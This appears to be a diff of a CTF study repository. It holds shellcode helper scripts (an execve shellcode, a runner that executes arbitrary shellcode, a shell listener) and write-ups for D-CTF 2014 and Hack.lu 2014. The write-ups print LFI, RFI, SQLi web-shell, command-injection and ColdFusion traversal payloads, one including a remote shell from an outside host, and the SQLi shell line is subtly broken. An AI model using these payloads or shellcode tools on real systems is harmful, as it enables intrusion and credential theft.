print disassemble('\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05', 64)
|
||||
|
||||
asm = '''
|
||||
BITS 32
|
||||
main:
|
||||
; execve("/bin/sh", 0, 0)
|
||||
xor eax, eax
|
||||
push eax
|
||||
push 0x68732f2f ; "//sh" -> stack
|
||||
push 0x6e69622f ; "/bin" -> stack
|
||||
mov ebx, esp ; arg1 = "/bin//sh\0"
|
||||
mov ecx, eax ; arg2 = 0
|
||||
mov edx, eax ; arg3 = 0
|
||||
mov al, 11
|
||||
int 0x80
|
||||
'''
|
||||
print repr(assemble(asm, "elf"))
|
||||
Binary file not shown.
|
|
@ -0,0 +1,29 @@
|
|||
NASM is now licensed under the 2-clause BSD license, also known as the
|
||||
simplified BSD license.
|
||||
|
||||
Copyright 1996-2010 the NASM Authors - All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following
|
||||
conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following
|
||||
disclaimer in the documentation and/or other materials provided
|
||||
with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
|
||||
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
|
||||
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1,41 @@
|
|||
import utils
|
||||
import socket
|
||||
|
||||
import time
|
||||
import sys
|
||||
|
||||
|
||||
def interact(conn, addr):
|
||||
command = ''
|
||||
print "Received", addr
|
||||
|
||||
while (command != 'exit'):
|
||||
command = raw_input('> ')
|
||||
conn.send(command + '\n')
|
||||
time.sleep(.5)
|
||||
data = conn.recv(0x10000)
|
||||
if not data:
|
||||
print "Disconnected", addr
|
||||
return
|
||||
print data.strip(),
|
||||
else:
|
||||
print "Disconnected", addr
|
||||
|
||||
|
||||
HOST = ''
|
||||
|
||||
PORT = 6969
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
s.bind((HOST, PORT))
|
||||
|
||||
s.listen(1)
|
||||
|
||||
while 1:
|
||||
conn, addr = s.accept()
|
||||
interact(conn, addr)
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/python
|
||||
import utils
|
||||
import sys
|
||||
import ctypes
|
||||
import codecs
|
||||
|
||||
if sys.platform.startswith('linux'):
|
||||
from ctypes import *
|
||||
|
||||
# Initialise ctypes prototype for mprotect().
|
||||
# According to the manpage:
|
||||
# int mprotect(const void *addr, size_t len, int prot);
|
||||
libc = CDLL("libc.so.6")
|
||||
mprotect = libc.mprotect
|
||||
mprotect.restype = c_int
|
||||
mprotect.argtypes = [c_void_p, c_size_t, c_int]
|
||||
|
||||
# PROT_xxxx constants
|
||||
# Output of gcc -E -dM -x c /usr/include/sys/mman.h | grep PROT_
|
||||
# #define PROT_NONE 0x0
|
||||
# #define PROT_READ 0x1
|
||||
# #define PROT_WRITE 0x2
|
||||
# #define PROT_EXEC 0x4
|
||||
# #define PROT_GROWSDOWN 0x01000000
|
||||
# #define PROT_GROWSUP 0x02000000
|
||||
PROT_NONE = 0x0
|
||||
PROT_READ = 0x1
|
||||
PROT_WRITE = 0x2
|
||||
PROT_EXEC = 0x4
|
||||
|
||||
# Machine code of an empty C function, generated with gcc
|
||||
# Disassembly:
|
||||
# 55 push %ebp
|
||||
# 89 e5 mov %esp,%ebp
|
||||
# 5d pop %ebp
|
||||
# c3 ret
|
||||
#code = "\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
|
||||
|
||||
code = codecs.escape_decode(sys.argv[1])[0]
|
||||
|
||||
# Get the address of the code
|
||||
addr = addressof(cast(c_char_p(code), POINTER(c_char)).contents)
|
||||
|
||||
# Get the start of the page containing the code and set the permissions
|
||||
pagesize = 0x1000
|
||||
pagestart = addr & ~(pagesize - 1)
|
||||
if mprotect(pagestart, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC):
|
||||
raise RuntimeError("Failed to set permissions using mprotect()")
|
||||
|
||||
# Generate ctypes function object from code
|
||||
functype = CFUNCTYPE(None)
|
||||
f = functype(addr)
|
||||
|
||||
# Call the function
|
||||
print("Calling f()")
|
||||
f()
|
||||
|
||||
elif sys.platform.startswith('win'):
|
||||
|
||||
buf = codecs.escape_decode(sys.argv[1])[0]
|
||||
|
||||
shellcode = bytearray(buf)
|
||||
|
||||
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
|
||||
ctypes.c_int(len(shellcode)),
|
||||
ctypes.c_int(0x3000),
|
||||
ctypes.c_int(0x40))
|
||||
|
||||
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
|
||||
|
||||
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
|
||||
buf,
|
||||
ctypes.c_int(len(shellcode)))
|
||||
|
||||
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
|
||||
ctypes.c_int(0),
|
||||
ctypes.c_int(ptr),
|
||||
ctypes.c_int(0),
|
||||
ctypes.c_int(0),
|
||||
ctypes.pointer(ctypes.c_int(0)))
|
||||
|
||||
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
import utils
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
subprocess.Popen([sys.executable, 'shellcode.py']).communicate()
|
||||
381
CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md
Normal file
381
CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md
Normal file
|
|
@ -0,0 +1,381 @@
|
|||
# Exploring D-CTF Quals 2014's Exploits
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
|
||||
|
||||
### Remote File Inclusion and Local File Inclusion Vulnerabilities
|
||||
|
||||
In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks.
|
||||
|
||||
|
||||
[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation).
|
||||
|
||||
An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions.
|
||||
|
||||
|
||||
[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
|
||||
|
||||
|
||||
|
||||
|
||||
### TimThumb and LFI
|
||||
|
||||
[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues].
|
||||
|
||||
With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html).
|
||||
|
||||
|
||||
|
||||
[TimThumb]: https://code.google.com/p/timthumb/
|
||||
[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### CMS Mini and RFI
|
||||
|
||||
|
||||
[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS].
|
||||
|
||||
[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
|
||||
[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
|
||||
|
||||
|
||||
An example of RFI vulnerability in CMS Mini is explored using curl:
|
||||
|
||||
```http
|
||||
http://
|
||||
[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd
|
||||
```
|
||||
|
||||
For more examples of exploits, check [1337day] and [this exploit-db].
|
||||
|
||||
[1337day]: http://1337day.com/exploit/3256
|
||||
[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961
|
||||
|
||||
[this exploit-db]: http://www.exploit-db.com/exploits/28128/
|
||||
[CMS Mini]: http://www.mini-print.com/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ApPHP and Remote Code Execution
|
||||
|
||||
[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server.
|
||||
|
||||
[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/
|
||||
[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution
|
||||
|
||||
[can be seen here]: http://www.exploit-db.com/exploits/33070/
|
||||
|
||||
|
||||
|
||||
In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php):
|
||||
|
||||
```http
|
||||
GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/
|
||||
Cookie: 0=include
|
||||
```
|
||||
|
||||
In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)).
|
||||
|
||||
```http
|
||||
Post Request: 0=include/myfile.php
|
||||
Cookie: 0=http://www.r57shell.net/shell/r57.txt
|
||||
```
|
||||
|
||||
|
||||
### Gitlist and Remote Command Execution
|
||||
|
||||
[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db].
|
||||
|
||||
In this CTF, the following command could be used to look for the flag:
|
||||
|
||||
```http
|
||||
http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60
|
||||
```
|
||||
|
||||
|
||||
[exploit-db]: http://www.exploit-db.com/exploits/33990/
|
||||
[1337day]: http://en.1337day.com/exploit/22391
|
||||
[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html
|
||||
[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
|
||||
[command injection]: http://cwe.mitre.org/data/definitions/77.html
|
||||
[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/
|
||||
[Gitlist]: http://gitlist.org/
|
||||
|
||||
|
||||
### LibreOffice's Socket Connections
|
||||
|
||||
LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost).
|
||||
|
||||
For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen.
|
||||
|
||||
From the documentation, the default connection string is:
|
||||
|
||||
```http
|
||||
Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
|
||||
```
|
||||
|
||||
Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example:
|
||||
|
||||
```sh
|
||||
$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt
|
||||
```
|
||||
|
||||
An example of a payload can be seen [here].
|
||||
|
||||
|
||||
[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
|
||||
[unoconv]: http://linux.die.net/man/1/unoconv
|
||||
[LibreOffice]: http://www.libreoffice.org/
|
||||
[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/
|
||||
|
||||
### ColdFusion and Local File Disclosure
|
||||
|
||||
[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend.
|
||||
|
||||
CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014.
|
||||
|
||||
The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform.
|
||||
|
||||
[Railio 4.2]: http://www.getrailo.org/
|
||||
[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion
|
||||
[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html
|
||||
|
||||
|
||||
#### SQL Injection (SQLi)
|
||||
|
||||
|
||||
[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post].
|
||||
|
||||
In this CTF, these were some of the exploits that could be used:
|
||||
|
||||
* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**:
|
||||
```sql
|
||||
UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users--
|
||||
```
|
||||
|
||||
* See the password file content:
|
||||
```sql
|
||||
UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3--
|
||||
```
|
||||
|
||||
* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]):
|
||||
|
||||
```
|
||||
UNION ALL SELECT 1 "<?php header("Content-Type: text/plain;charset=utf-8"); echo system($-GET["x"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php"--
|
||||
```
|
||||
|
||||
Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
|
||||
) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF.
|
||||
|
||||
|
||||
|
||||
By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs.
|
||||
|
||||
[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
|
||||
[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp
|
||||
|
||||
|
||||
|
||||
|
||||
### CesarFTP 0.99g and Buffer Overflow
|
||||
|
||||
[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961).
|
||||
|
||||
For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)).
|
||||
|
||||
|
||||
|
||||
#### File Disclosure of Password Hashes
|
||||
|
||||
This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server.
|
||||
|
||||
Ingredients of this attack are:
|
||||
|
||||
* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS.
|
||||
|
||||
* At the ColdFusion administrator, verify the version, and then use these injections:
|
||||
|
||||
```
|
||||
(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en
|
||||
|
||||
(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
|
||||
|
||||
(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
|
||||
|
||||
(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
|
||||
```
|
||||
|
||||
* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale].
|
||||
|
||||
|
||||
[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html
|
||||
[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html
|
||||
[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275
|
||||
[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750
|
||||
[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
|
||||
[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html
|
||||
[infointox]: http://www.infointox.net/?p=59
|
||||
[directory traversal]: https://www.owasp.org/index.php/Path_Traversal
|
||||
[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
|
||||
[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking
|
||||
|
||||
----
|
||||
|
||||
|
||||
## Useful Tools
|
||||
|
||||
|
||||
### Vulnerability Scanners
|
||||
|
||||
Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/).
|
||||
|
||||
In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py).
|
||||
|
||||
### Scapy
|
||||
|
||||
[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too.
|
||||
|
||||
|
||||
### Steganography
|
||||
|
||||
One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption.
|
||||
|
||||
To run the tool (after downloading it) just do:
|
||||
|
||||
```sh
|
||||
java -jar paranoia.jar
|
||||
```
|
||||
|
||||
[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/
|
||||
|
||||
### HTTP/HTTPS Request Tampering
|
||||
|
||||
Very useful for the RFI problems (but not limited to them):
|
||||
|
||||
* [Tamper Data]: view and modify HTTP/HTTPS headers.
|
||||
* [Burp]: a Java application to secure or penetrate web applications.
|
||||
|
||||
|
||||
[Burp]: http://portswigger.net/burp/
|
||||
[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
|
||||
|
||||
|
||||
### Wireshark
|
||||
|
||||
At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were:
|
||||
|
||||
* Look for POST requests:
|
||||
```
|
||||
http.request.method == "POST"
|
||||
```
|
||||
* Submit the found data (same username, nonce, and password) with the command:
|
||||
```
|
||||
$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST
|
||||
```
|
||||
|
||||
|
||||
### [Exif] data extractor:
|
||||
|
||||
[ExifTool] is used for reading, writing, and manipulating image metadata:
|
||||
```sh
|
||||
$ tar -xf Image-ExifTool-9.74.tar.gz
|
||||
$ cd Image-ExifTool-9.74/
|
||||
$ perl Makefile.PL
|
||||
$ make test
|
||||
$ sudo make install
|
||||
$ exiftool IMAGEFILE
|
||||
```
|
||||
|
||||
### MD5 Lookups
|
||||
|
||||
Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this].
|
||||
|
||||
|
||||
[hash-killer]: http://hash-killer.com/
|
||||
[md5this]: http://www.md5this.com/
|
||||
|
||||
|
||||
### In the Shell
|
||||
|
||||
* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex):
|
||||
|
||||
```sh
|
||||
$ python -c 'print "2f722f6e6574736563".decode("hex")'
|
||||
/r/netsec
|
||||
```
|
||||
|
||||
or command line [xxd]:
|
||||
|
||||
```sh
|
||||
$ yum install vim-common
|
||||
$ xxd -r -p <<< 2f722f6e6574736563
|
||||
/r/netsec
|
||||
```
|
||||
|
||||
* **Base64 decoders** are also essential:
|
||||
|
||||
```sh
|
||||
$ base64 --decode <<< BASE64STRING > OUTPUT
|
||||
```
|
||||
|
||||
* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library:
|
||||
```python
|
||||
print "[*] Scanning for open ports using nmap"
|
||||
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
|
||||
```
|
||||
|
||||
|
||||
* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example:
|
||||
```sh
|
||||
$ ls | tee file
|
||||
```
|
||||
|
||||
|
||||
* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting).
|
||||
|
||||
* **nm** is useful for listing symbols from object files
|
||||
|
||||
|
||||
* **md5 hashing** is used all the time:
|
||||
|
||||
```sh
|
||||
$ echo -n password | md5sum
|
||||
5f4dcc3b5aa765d61d8327deb882cf99
|
||||
```
|
||||
|
||||
|
||||
* You might want to **append a shell code to an image** (for example, a GIF file):
|
||||
```sh
|
||||
$ cat PHP-shell.php >> fig.gif
|
||||
```
|
||||
|
||||
* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line:
|
||||
```sh
|
||||
netsh firewall set opmode mode=DISABLE.
|
||||
```
|
||||
|
||||
|
||||
|
||||
[tcpdump]: http://linux.die.net/man/8/tcpdump
|
||||
[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html
|
||||
[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format
|
||||
[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100
|
||||
[xxd]: http://linuxcommand.org/man_pages/xxd1.html
|
||||
[Natas post]: http://bt3gl.github.io/exploiting-the-web-in-20-lessons-natas.html
|
||||
53
CTFs_and_WarGames/CTFs_Writeups/Hack.lu/300_peace_pipe.py
Normal file
53
CTFs_and_WarGames/CTFs_Writeups/Hack.lu/300_peace_pipe.py
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
import socket
|
||||
|
||||
PORTc = 1432
|
||||
PORTm = 1434
|
||||
PORTw = 1433
|
||||
HOST = 'wildwildweb.fluxfingers.net'
|
||||
|
||||
def peace_pipe():
|
||||
|
||||
""" Get the magic message from some user to calculate rm """
|
||||
|
||||
# create sockets
|
||||
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# connect to w
|
||||
sw.connect((HOST, PORTw))
|
||||
sw.recv(4096)
|
||||
sw.send(b'makawee')
|
||||
sw.recv(4096)
|
||||
sec = sw.recv(4096)
|
||||
tw = sec.split("did this:")[1].split("\n")[1].strip()
|
||||
print "\nMagic from w to m: " + tw
|
||||
|
||||
# connect to m
|
||||
sm.connect((HOST, PORTm))
|
||||
sm.recv(4096)
|
||||
sm.send(b'mrblack')
|
||||
sm.recv(4096)
|
||||
sec = sm.recv(4096)
|
||||
tm = sec.split("did this:")[1].split("\n")[1].strip()
|
||||
print "\nMagic from m to w: " + tm
|
||||
|
||||
# send w's magic to m's
|
||||
sm.send(tw)
|
||||
print sm.recv(4096)
|
||||
|
||||
# send m's magic to get the token
|
||||
sw.send(tm)
|
||||
token = sw.recv(4096)
|
||||
token = token.split('\n')[1].strip()
|
||||
print "Token is: " + token
|
||||
|
||||
# finally, send token back to m
|
||||
sm.send(token)
|
||||
print sm.recv(4096)
|
||||
|
||||
sm.close()
|
||||
sw.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
peace_pipe()
|
||||
257
CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md
Normal file
257
CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md
Normal file
|
|
@ -0,0 +1,257 @@
|
|||
# The Peace Pipe at Hack.lu's Final CTF 2014
|
||||
|
||||
|
||||
## Understanding the Problem
|
||||
|
||||
The problem starts with this weird story:
|
||||
|
||||
After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today.
|
||||
To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy.
|
||||
You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking.
|
||||
You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight.
|
||||
Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down.
|
||||
Maybe you can exploit their dizzyness to find out the location of the tipi.
|
||||
|
||||
Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**:
|
||||
|
||||
wildwildweb.fluxfingers.net 1432
|
||||
|
||||
With the second, we talk to **Wankoowah**:
|
||||
|
||||
wildwildweb.fluxfingers.net 1433
|
||||
|
||||
|
||||
Finally, with the third, we talk to **Makawee**:
|
||||
|
||||
wildwildweb.fluxfingers.net 1434
|
||||
|
||||
It was obvious that this game was about fooling our fellow *stoned* native-Americans.
|
||||
|
||||
### A Dialogue with Chapawee
|
||||
|
||||
When we *netcat* to **Chapawee** he answers:
|
||||
```sh
|
||||
$ nc wildwildweb.fluxfingers.net 1432
|
||||
Hi I'm Chapawee. I know the truth about the stars
|
||||
Say stars for more
|
||||
```
|
||||
|
||||
We answer *stars* and get a funny menu:
|
||||
|
||||
```sh
|
||||
I can tell you the truth about
|
||||
* constellation
|
||||
* namestar [starname] [key_of_truth] Adds a public key to a user.
|
||||
Existing users cannot be
|
||||
overwritten. Input is
|
||||
[a-f0-9]{1,700}.
|
||||
* showstar [starname] Reads the public key from the
|
||||
database.
|
||||
```
|
||||
|
||||
The first option *constellation*, shows a very interesting scheme:
|
||||
|
||||

|
||||
|
||||
Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before).
|
||||
|
||||
So, from the above scheme, we know:
|
||||
|
||||
1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved).
|
||||
|
||||
2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048).
|
||||
|
||||
3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation:
|
||||
|
||||

|
||||
|
||||
Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation).
|
||||
|
||||
|
||||
In conclusion, all we need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag.
|
||||
|
||||
|
